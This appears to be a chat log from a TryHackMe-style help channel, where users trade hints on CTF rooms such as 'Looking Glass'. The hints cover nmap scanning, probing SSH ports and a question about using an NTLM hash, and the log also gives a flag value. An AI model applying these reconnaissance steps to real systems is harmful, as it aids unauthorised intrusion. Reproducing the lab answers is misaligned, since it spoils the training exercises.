Do I ned to set the proxy option

I think I found my problem

[knotty peak]

I understand what you are saying. Thanks for the help

[green minnow]

Gave +1 Rep to @jaunty elbow

[knotty peak]

If you dont mind can you (or anyone) explain to me why I have to have the ssh tunnel running in order for it to work. Is it because thatst the only way to get past the firwall which would prevent me from be able to connect to port 10000?

[worldly flare]

doing Looking Glass room...and i cant enev get initial access

can i get a hit to what im supposed to do?

or what direction to take?

[lucid junco]

What have you tried?

[lucid junco]

?

[worldly flare]

ssh_version, ssh_enumusers

i treid to find any vulns

to the specific version

[lucid junco]

Have you got access to an ssh port?

[worldly flare]

i know there is 1

or 10000

[alpine kestrel]

scan for all open ports using nmap.... then try and ssh into some of the open ssh ports

[worldly flare]

22 and above 9000

[lucid junco]

There's only one you cna log in to

[alpine kestrel]

"ssh" ports

[lucid junco]

Have you tried connecting to any?

[worldly flare]

yeah, 22

[lucid junco]

What did it say?

[worldly flare]

when i try to connect to it

[lucid junco]

Yes.

[worldly flare]

it asks me for a password

[lucid junco]

Ok, have you tried any other ports?

[worldly flare]

no

[lucid junco]

you should try that. 😄

[worldly flare]

is there a script or that?

for that*

so many portssssss

[lucid junco]

There is....

[alpine kestrel]

but you don't really need a script

it should be obvious if you connect to a few of those other ports

[lucid junco]

^

[worldly flare]

my irl instincts are saying there is a firewall

[lucid junco]

Nah.

[worldly flare]

Ik....just thinking outloud rn 😂

[alpine kestrel]

nope no firewall except if you are running one on your kali vm or windows machine

[worldly flare]

bas kali

base*

no vm

no fw

the only obvious port is 22...for me...i did a nmap sV and for all others i get dropbear 2.0 ssh

[lucid junco]

Yeah, they're all valid ports, try connect to one.

[alpine kestrel]

well go on... try connect to some of those dropbear 2.0 ssh ports

[worldly flare]

i gives me an optin to accept the fingerprint

but says the connection cant be established

the ports seem false positive

[lucid junco]

What did it say?

[worldly flare]

The authenticity of host '[10.10.178.142]:9101 ([10.10.178.142]:9101)' can't be established.
RSA key fingerprint is SHA256:iMwNI8HsNKoZQ7O0IFs1Qt8cf0ZDq2uI8dIK97XGPj0.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:69: [hashed name]
    ~/.ssh/known_hosts:70: [hashed name]
    ~/.ssh/known_hosts:71: [hashed name]
    ~/.ssh/known_hosts:72: [hashed name]
    ~/.ssh/known_hosts:73: [hashed name]
    ~/.ssh/known_hosts:74: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.178.142]:9101' (RSA) to the list of known hosts.
Lower
Connection to 10.10.178.142 closed.

[alpine kestrel]

see the line after the Warning line

[worldly flare]

lower?

[alpine kestrel]

yuups

[lucid junco]

Better get searching 😄

[worldly flare]

lower port? Im not getting this at all

[polar finch]

it has nothing to do with security really, its a puzzle and programming challenge

[alpine kestrel]

good guess.... though this is wonderland inspired

[alpine kestrel]

also known as oposite day....

[lucid junco]

The name of the room, is a hint.

[worldly flare]

Ok so i was able to find a port

but now have to decryprt a message

[lucid junco]

Have fun!

[worldly flare]

Ohh yes im having soooo much fun...get the sarcasm 😂

[lucid junco]

I actually enjoyed this room.

[worldly flare]

i found the original poem lol

i just need to find out how to get the secret out

[lucid junco]

Do the poems match?

[charred trail]

Thanks so much. I going to check it out

[green minnow]

Gave +1 Rep to @tropic garden

[worldly flare]

last line doesnt

but i get the idea

[worldly flare]

thank you for the help

[green minnow]

Gave +1 Rep to @lucid junco

[worldly flare]

after 2h

i got the root flag

honestly priv esc is getting eaiser than initial access hahaha

[jaunty elbow]

Private room
just to talk and compare

with these ports and an NTLM hash what would you try to do?
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0) 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server? 5040/tcp open unknown

[spiral ginkgo]

hey all I am having trouble with 2 questions in the SOC velociraptor path:
task 3: What is listed as the agent version?
task 7: What are the arguments for parse_mft()?

Thanks in advance 🙂

[molten bay]

Im on Task 3 of Walking an Application of Jr Penetration Tester:
What is the directory listing flag?
I put THM{NOT_SO_HIDDEN}
But its saying its incorrect? I've find all the other ones and now that flag but its saying its incorrect??

i copied the img.flag{} background image url and it took me to that flag.

[tulip mural]

the flag you found is incorrect for the task

[molten bay]

could you help me find it ive been looking at all of these css directoriues and cannot find any txt

[tulip mural]

https://i.imgur.com/6KSYoNm.png

read these instructions carefully